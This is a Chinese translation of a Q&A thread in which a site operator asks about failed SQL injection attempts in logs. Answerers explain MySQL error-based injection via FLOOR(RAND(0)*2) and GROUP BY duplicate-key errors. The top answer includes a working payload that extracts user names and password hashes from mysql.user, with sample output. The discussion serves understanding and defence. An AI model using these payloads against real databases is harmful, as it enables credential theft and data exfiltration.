SQL注入攻击 - 这是做什么的?

时间:2012-08-03 00:07:03

标签: mysql security sql-injection

我在网站上检测到一些失败的SQL注入攻击。 失败的查询格式为:

  

SELECT 6106 FROM(SELECT COUNT(*),':sjw:1:ukt:1'x FROM information_schema.tables GROUP BY x)

':sjw:1:ukt:1'部分是专门构造的,变量连接在一起以给出随机0或1等。

我想知道这些查询是做什么的?

数据库是MySQL。

更新:以下是原始注入的SQL:

(SELECT 6106
 FROM  (SELECT COUNT(*),
               CONCAT(
                        CHAR(58, 115, 106, 119, 58), 
                        (SELECT ( CASE WHEN ( 6106 = 6106 ) THEN 1 ELSE 0 END )), 
                        CHAR(58, 117, 107, 116, 58), 
                        FLOOR(RAND(0) * 2)
                      ) x
        FROM   INFORMATION_SCHEMA.TABLES
        GROUP  BY x)a) 

失败并显示消息

  

重复输入':sjw:1:ukt:1'用于键'group_key'

3 个答案:

答案 0 :(得分:21)

攻击真正起作用

其他回答者错过了这次攻击的细微而巧妙的细节。请注意错误消息Duplicate entry ':sjw:1:ukt:1' for key 'group_key'。字符串:sjw:1:ukt:1实际上是MySQL服务器评估的表达式的结果。如果您的应用程序将MySQL错误字符串发送回浏览器,则错误消息可能会从您的数据库中泄漏数据

这种攻击用于查询结果未以其他方式发送回浏览器的情况(盲目SQL注入),或者传统的UNION SELECT攻击很难实现。它也适用于INSERT / UPDATE / DELETE查询。

正如Hawili指出的那样,最初的特定查询不会泄漏任何信息,这只是一个测试,看看你的应用程序是否容易受到这种注入。

攻击没有像MvG建议的那样失败,导致此错误是查询的目的。

如何使用它的更好的例子:

> SELECT COUNT(*),CONCAT((SELECT CONCAT(user,password) FROM mysql.user LIMIT 1),
>                        0x20, FLOOR(RAND(0)*2)) x
> FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key 'group_key'

为什么会出现错误

为什么查询在MySQL中导致此错误对我来说有点神秘。它看起来像一个MySQL错误,因为GROUP BY应该通过聚合来处理重复的条目。事实上,Hawili简化查询并不会导致错误!

表达式FLOOR(RAND(0)*2)按顺序给出以下结果,基于随机种子参数0:

> SELECT FLOOR(RAND(0)*2)x FROM information_schema.tables;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 | <-- error happens here
| 0 |
| 1 |
| 1 |
 ...

因为第3个值是第2个值的副本,所以抛出此错误。可以使用任何至少有3行的FROM表,但是information_schema.tables是常见的。 COUNT(*)和GROUP BY部分是引发MySQL错误的必要条件:

> SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

PostgreSQL等效查询中不会发生此错误:

# SELECT SETSEED(0);
# SELECT COUNT(*),FLOOR(RANDOM()*2)x FROM information_schema.tables GROUP BY x;
 count | x 
-------+---
    83 | 0
    90 | 1

(很抱歉回答迟了1年,但我今天偶然发现了这个问题。这个问题对我很有意思,因为我不知道有办法通过MySQL的错误信息泄漏数据)

答案 1 :(得分:0)

执行带括号的子查询将为您提供系统中的表数。我想主要目标可能是创建查询并查看生成的HTML中输出的位置。因此随机字符串。外部SELECT无效,因为其子查询没有别名。所以我认为这种不正确是导致这次攻击失败的原因。他们可能一直试图看看他们可以注入什么语法结构,哪些会打破查询。

答案 2 :(得分:0)

选择只会输出数字,因此在您的情况下答案总是为6106

SELECT COUNT(*),':sjw:1:ukt:1'x FROM information_schema.tables GROUP BY x 

应该给出不同的答案,它会给出系统中的表数加上在名称x下插入的随机文本,那就是

简而言之,它是一个毫无意义的查询,内部查询的结果永远不会显示,整个查询的结果是预先确定的,似乎注入是以某种方式自动记录攻击使用这种奇怪的方式